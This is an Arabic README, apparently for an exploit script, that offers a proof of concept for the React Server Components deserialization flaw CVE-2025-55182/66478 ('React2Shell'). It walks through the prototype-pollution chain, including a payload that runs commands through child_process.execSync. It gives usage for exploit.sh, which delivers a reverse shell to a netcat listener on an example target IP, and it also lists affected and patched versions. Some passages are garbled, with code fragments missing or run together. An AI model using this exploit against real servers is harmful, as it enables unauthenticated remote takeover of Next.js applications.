
إثبات مفهوم لاستغلال CVE-2025-55182/66478، وهي ثغرة إلغاء تسلسل في مكونات خادم React (React Server Components) تؤدي إلى تنفيذ أوامر عن بُعد (RCE)، عبر إرسال طلب متعدد الأجزاء مُصمم خصيصًا لتسليم قشرة عكسية.
إثبات مفهوم لاستغلال CVE-2025-55182 — الملقب علنياً باسم
"React2Shell" — وهي ثغرة تلويث النموذج الأولي (prototype pollution) من جهة الخادم في
إلغاء تسلسل Server Actions لمكونات React Server Components
(react-server-dom-webpack / -parcel / -turbopack)، والتي تتبعها Next.js
تحت المعرّف CVE-2025-66478 (مرفوضة من NVD باعتبارها مكررة،
لكنها لا تزال المعرّف الشائع الاستخدام عند مناقشة تأثير الثغرة
على Next.js تحديداً).
طلب HTTP واحد متعدد الأجزاء (multipart) مصمم بعناية يلوّث Object.prototype و
يسير عبر سلسلة النماذج الأولية للوصول إلى مُنشئ Function، مما يسمح
لمهاجم غير مصادق بتشغيل كود Node.js عشوائي في عملية
الخادم — بتقييم CVSS 10/10.
السبب الجذري. مُلغى تسلسل إجراءات RSC (requireModule)
يحل مسارات الكائنات المرسلة من العميل (مثل )
دون التحقق من أن المفتاح الهدف ليس محجوزاً أو خطيراً
مثل . تعيين على كائن عادي يلوّث
نفسه، لذا كل كائن يُنشأ لاحقاً يرث
الخاصية التي يتحكم بها المهاجم.
"$1:__proto__:then"__proto____proto__Object.prototypeسلسلة الاستغلال.
then ← "$1:__proto__:then" — الوصول إلى سلسلة النماذج الأولية._response._formData.get ← "$1:constructor:constructor" — الانتقال
من النموذج الأولي الملوّث إلى مُنشئ Function._response._prefix — سلسلة يتحكم بها المهاجم، تُدمج في كود
يُنفَّذ عندما يحاول الخادم حل "thenable" المزيف (كائن شبيه بـ Promise). يضبط هذا الإثبات القيمة على
process.mainModule.require('child_process').execSync('<cmd>').0, 1) في
طلب POST إلى جذر التطبيق مع ترويسة Next-Action، والتي توجّه
الطلب مباشرة إلى معالج Server Actions المعرّض للثغرة.الإصدارات المتأثرة (وفق تقرير Datadog):
| المكتبة | الإصدارات المعرّضة | الإصدارات المُصححة |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
تتأثر Next.js في الإصدارات 15.x و16.x و14.3.0-canary.77+ عند استخدام App Router. تم التصحيح في 15.0.5 و15.1.9 و15.2.6 و15.3.6 و15.4.8 و15.5.7 و16.0.7.
للاستخدام في الاختبارات الأمنية المصرح بها والأغراض التعليمية فقط (مثل مختبرات CTF/HTB، أو البنية التحتية الخاصة بك، أو مهام بترخيص كتابي). لا تشغّل هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
curlbashnc -lvnp <port>) ما لم
تقدم أمرك الخاص عبر -cbusybox nc (أو عدّل -c إلى أي أداة شل
متوفرة على الهدف) لكي يعمل أمر الصدفة العكسية الافتراضيchmod +x exploit.sh
./exploit.sh -t <target> -L <lport> [options]
| العلم | مطلوب | الوصف |
|---|---|---|
-t, --target | نعم | مضيف/عنوان IP الهدف الذي يشغّل تطبيق Next.js المعرّض للثغرة |
-L, --lport | نعم* | المنفذ المحلي الذي يرتبط به المستمع الخاص بك |
-p, --port | لا | منفذ الهدف (الافتراضي: 3000) |
-l, --lhost | لا | عنوان IP الخاص بك لاستدعاء العودة (الافتراضي: اكتشاف تلقائي) |
-i, --iface | لا | الواجهة لاكتشاف --lhost تلقائياً منها |
-c, --command | لا | أمر مخصص للتشغيل على الهدف (يتجاوز الصدفة العكسية الافتراضية) |
--timeout | لا | مهلة طلب curl بالثواني (الافتراضي: 3) |
-v, --verbose | لا | طباعة تفاصيل الطلب/الاستجابة |
-h, --help | لا | عرض المساعدة |
* غير مطلوب إذا تم توفير -c/--command بدلاً من ذلك.
# 1) ابدأ مستمعاً
rlwrap nc -lvnp 9090
# 2) شغّل الاستغلال
./exploit.sh -t 10.129.245.214 -L 9090